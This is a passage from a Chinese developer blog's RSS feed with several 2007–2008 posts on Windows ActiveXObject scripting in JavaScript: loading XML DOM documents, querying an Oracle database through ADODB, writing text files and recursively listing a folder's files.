&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">this</span><span style="color: rgb(0, 0, 0);">.xmlDom&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);">&nbsp;ActiveXObject(</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">Msxml2.DOMDocument</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">this</span><span style="color: rgb(0, 0, 0);">.xmlDom.load(path);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">this.xmlDom&nbsp;=&nbsp;xmlObject;</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span style="color: rgb(0, 0, 255);">this</span><span style="color: rgb(0, 0, 0);">.xmlDom);&nbsp;</span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">&nbsp;可以输出正确的变量&nbsp;Object</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">this</span><span style="color: rgb(0, 0, 0);">.path&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;path;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getHomePage&nbsp;:&nbsp;</span><span style="color: rgb(0, 0, 255);">function</span><span style="color: rgb(0, 0, 0);">(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span style="color: rgb(0, 0, 255);">this</span><span style="color: rgb(0, 0, 0);">.xmlDom);&nbsp;</span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">变量变成了没定义</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span style="color: rgb(0, 0, 255);">this</span><span style="color: rgb(0, 0, 0);">.path);&nbsp;</span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">&nbsp;可以输出正确的变量</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
};<br />
</span></div>
<br />
是否在类中不能使用 Object 类型传递呢？<br />
因为经过测试，<span style="color: rgb(0, 0, 255);">this</span><span style="color: rgb(0, 0, 0);">.path 是一个普通变量是可以正常使用的。</span><br />
<br />
<br />
<br />
<img src ="http://www.blogjava.net/ljf-tianyi/aggbug/203997.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ljf-tianyi/" target="_blank">天一</a> 2008-05-30 09:02 <a href="http://www.blogjava.net/ljf-tianyi/archive/2008/05/30/203997.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JavaScript Connect DB </title><link>http://www.blogjava.net/ljf-tianyi/archive/2007/10/25/153123.html</link><dc:creator>天一</dc:creator><author>天一</author><pubDate>Thu, 25 Oct 2007 05:24:00 GMT</pubDate><guid>http://www.blogjava.net/ljf-tianyi/archive/2007/10/25/153123.html</guid><wfw:comment>http://www.blogjava.net/ljf-tianyi/comments/153123.html</wfw:comment><comments>http://www.blogjava.net/ljf-tianyi/archive/2007/10/25/153123.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/ljf-tianyi/comments/commentRss/153123.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ljf-tianyi/services/trackbacks/153123.html</trackback:ping><description><![CDATA[<span style="font-size: 14pt;">由于JavaScript 是一种轻量级别的语言。无论做图形还是做任何工作都需要依赖其他工具。</span><br />
现在我以在Windows平台上做下面的例子。<br />
&nbsp;1 利用Windows 的AtiveXObject,使用ODBC连接Oracle 数据库。并且取回特定的数据资料。<br />
<br />
<div style="border: 1px solid rgb(204, 204, 204); padding: 4px 5px 4px 4px; font-size: 13px; width: 98%; background-color: rgb(238, 238, 238);"><img id="Codehighlighter1_20_507_Open_Image" onclick="this.style.display='none'; Codehighlighter1_20_507_Open_Text.style.display='none'; Codehighlighter1_20_507_Closed_Image.style.display='inline'; Codehighlighter1_20_507_Closed_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockStart.gif" alt="" align="top" /><img id="Codehighlighter1_20_507_Closed_Image" style="display: none;" onclick="this.style.display='none'; Codehighlighter1_20_507_Closed_Text.style.display='none'; Codehighlighter1_20_507_Open_Image.style.display='inline'; Codehighlighter1_20_507_Open_Text.style.display='inline';" src="http://www.blogjava.net/images/OutliningIndicators/ContractedBlock.gif" alt="" align="top" /><span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">function</span><span style="color: rgb(0, 0, 0);">&nbsp;Connect()</span><span id="Codehighlighter1_20_507_Closed_Text" style="border: 1px solid rgb(128, 128, 128); display: none; background-color: rgb(255, 255, 255);"><img src="http://www.blogjava.net/Images/dot.gif" alt="" /></span><span id="Codehighlighter1_20_507_Open_Text"><span style="color: rgb(0, 0, 0);">{<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;conn&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);">&nbsp;ActiveXObject(</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">ADODB.Connection</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.open(</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">DSN=ora9i;UID=test;PWD=123456</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;rs&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);">&nbsp;ActiveXObject(</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">ADODB.Recordset</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;sql&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">select&nbsp;*&nbsp;from&nbsp;tb_client&nbsp;where&nbsp;name&nbsp;=&nbsp;'aaa'</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">;&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.open(sql,conn,</span><span style="color: rgb(0, 0, 0);">1</span><span style="color: rgb(0, 0, 0);">,</span><span style="color: rgb(0, 0, 0);">1</span><span style="color: rgb(0, 0, 0);">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;showpage&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">&lt;textarea&gt;</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">+</span><span style="color: rgb(0, 0, 0);">rs(</span><span style="color: rgb(0, 0, 0);">0</span><span style="color: rgb(0, 0, 0);">)</span><span style="color: rgb(0, 0, 0);">+</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">||</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">+</span><span style="color: rgb(0, 0, 0);">rs(</span><span style="color: rgb(0, 0, 0);">1</span><span style="color: rgb(0, 0, 0);">)</span><span style="color: rgb(0, 0, 0);">+</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">||</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">+</span><span style="color: rgb(0, 0, 0);">rs(</span><span style="color: rgb(0, 0, 0);">2</span><span style="color: rgb(0, 0, 0);">)</span><span style="color: rgb(0, 0, 0);">+</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">&lt;/textarea&gt;</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">alert(rs(0)+"||"+rs(1)+"||"+rs(2));</span><span style="color: rgb(0, 128, 0);"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" /></span><span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">alert(rs(0)+"||"+rs(1)+"||"+rs(2));</span><span style="color: rgb(0, 128, 0);"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" /></span><span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;page&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;document.getElementById(</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">showpage</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;page.innerHTML&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;showpage;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/InBlock.gif" alt="" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.close();&nbsp;<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/ExpandedBlockEnd.gif" alt="" align="top" />&nbsp;&nbsp;&nbsp;&nbsp;}</span></span></div>
只需要用上面的这段代码就级别可以连接数据，取出client 表中数据。&nbsp; <br />
记得要使用Close方法啊。不然你的机器就惨了。
<img src ="http://www.blogjava.net/ljf-tianyi/aggbug/153123.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ljf-tianyi/" target="_blank">天一</a> 2007-10-25 13:24 <a href="http://www.blogjava.net/ljf-tianyi/archive/2007/10/25/153123.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java Script 的一些文件操作函数</title><link>http://www.blogjava.net/ljf-tianyi/archive/2007/10/20/132651.html</link><dc:creator>天一</dc:creator><author>天一</author><pubDate>Sat, 20 Oct 2007 02:37:00 GMT</pubDate><guid>http://www.blogjava.net/ljf-tianyi/archive/2007/10/20/132651.html</guid><wfw:comment>http://www.blogjava.net/ljf-tianyi/comments/132651.html</wfw:comment><comments>http://www.blogjava.net/ljf-tianyi/archive/2007/10/20/132651.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ljf-tianyi/comments/commentRss/132651.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ljf-tianyi/services/trackbacks/132651.html</trackback:ping><description><![CDATA[<p>&nbsp;JavaScipt 是一件利器。若能正确利用，可以帮助我们完成很多工作<br />
来我们显示一个基本的文本功能，就是对文本文件进行写操作。<br />
看以下代码：<br />
</p>
<div style="border: 1px solid rgb(204, 204, 204); padding: 4px 5px 4px 4px; font-size: 13px; width: 98%; background-color: rgb(238, 238, 238);"><span style="color: rgb(0, 128, 128);">&nbsp;1</span>&nbsp;<span style="color: rgb(0, 0, 255);">function</span><span style="color: rgb(0, 0, 0);">&nbsp;WFile(ContentArray,FilePath)<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;2</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;{<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;3</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;fso,f,i;<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;4</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;fso&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);">&nbsp;ActiveXObject(</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">Scripting.FileSystemObject</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">);<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;5</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;f&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;fso.OpenTextFile(FilePath,</span><span style="color: rgb(0, 0, 0);">2</span><span style="color: rgb(0, 0, 0);">);<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;6</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">for</span><span style="color: rgb(0, 0, 0);">&nbsp;(</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;i&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 0);">0</span><span style="color: rgb(0, 0, 0);">;i</span><span style="color: rgb(0, 0, 0);">&lt;</span><span style="color: rgb(0, 0, 0);">&nbsp;ContentArray.length&nbsp;;i</span><span style="color: rgb(0, 0, 0);">++</span><span style="color: rgb(0, 0, 0);">&nbsp;)<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;7</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;{<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;8</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;f.WriteLine(ContentArray[i]);<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;9</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;}&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">10</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;f.close();<br />
</span><span style="color: rgb(0, 128, 128);">11</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;alert(</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">&nbsp;OK,The&nbsp;File&nbsp;has&nbsp;change&nbsp;Value.&nbsp;</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">);<br />
</span><span style="color: rgb(0, 128, 128);">12</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;}</span></div>
JavaScript 依靠着Windows 提供的服务和功能，来完成本身想需要的效果。<br />
<br />
除了需要对文件写，我们需要知道有哪些文件？再确定哪些需要增加内容，哪些不需要增加内容。<br />
<br />
下面函数就是JavaScript 获取某路径下所有文件的函数<br />
<br />
<div style="border: 1px solid rgb(204, 204, 204); padding: 4px 5px 4px 4px; font-size: 13px; width: 98%; background-color: rgb(238, 238, 238);"><span style="color: rgb(0, 128, 128);">&nbsp;1</span>&nbsp;<span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">/////////////////////////////////////////////////////////////</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;2</span>&nbsp;<span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">获取所有文件</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;3</span>&nbsp;<span style="color: rgb(0, 0, 255);">function</span><span style="color: rgb(0, 0, 0);">&nbsp;getFolderList(folderspec)<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;4</span>&nbsp;<span style="color: rgb(0, 0, 0);">{&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;5</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;arrFloder&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);">&nbsp;Array();<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;6</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;arrFile&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);">&nbsp;Array();<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;7</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;fso&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);">&nbsp;ActiveXObject(</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">Scripting.FileSystemObject</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">);&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;8</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;doGetFolderList(arrFloder,folderspec,fso,arrFile);&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">&nbsp;9</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">return</span><span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;arrFile;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">10</span>&nbsp;<span style="color: rgb(0, 0, 0);">}&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">11</span>&nbsp;<span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">////////////////////////////////////////////////////////////</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 128, 128);">12</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">13</span>&nbsp;<span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">////////////////////////////////////////////////////////////</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 128, 128);">14</span>&nbsp;<span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">进行递归获取子目录和目录中的文件</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 128, 128);">15</span>&nbsp;<span style="color: rgb(0, 0, 255);">function</span><span style="color: rgb(0, 0, 0);">&nbsp;doGetFolderList(arrFloder,folderspec,fso,arrFile)<br />
</span><span style="color: rgb(0, 128, 128);">16</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;{&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">17</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">var</span><span style="color: rgb(0, 0, 0);">&nbsp;f,&nbsp;fc1,&nbsp;fc2,&nbsp;s,&nbsp;i;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">18</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;f&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;fso.GetFolder(folderspec);&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">19</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;fc1&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);">&nbsp;Enumerator(f.SubFolders);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">20</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">for</span><span style="color: rgb(0, 0, 0);">(;</span><span style="color: rgb(0, 0, 0);">!</span><span style="color: rgb(0, 0, 0);">fc1.atEnd();&nbsp;fc1.moveNext())&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">21</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">22</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;arrFloder.length;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">23</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arrFloder[i]&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;fc1.item();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">24</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">递归，获取子目录</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 128, 128);">25</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;doGetFolderList(arrFloder,fc1.item(),fso,arrFile);&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">26</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">27</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">///////////</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 128, 128);">28</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;fc2&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;</span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);">&nbsp;Enumerator(f.files);&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">29</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 0, 255);">for</span><span style="color: rgb(0, 0, 0);">(;</span><span style="color: rgb(0, 0, 0);">!</span><span style="color: rgb(0, 0, 0);">fc2.atEnd();fc2.moveNext())&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">30</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">31</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;arrFile.length;&nbsp;&nbsp;&nbsp;<br />
</span><span style="color: rgb(0, 128, 128);">32</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">arrFile[i]&nbsp;=&nbsp;new&nbsp;Array(1);&nbsp;&nbsp;&nbsp;</span><span style="color: rgb(0, 128, 0);"><br />
</span><span style="color: rgb(0, 128, 128);">33</span>&nbsp;<span style="color: rgb(0, 0, 0);">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arrFile[i]&nbsp;</span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);">&nbsp;fc2.item();&nbsp;&nbsp;&nbsp;<br />
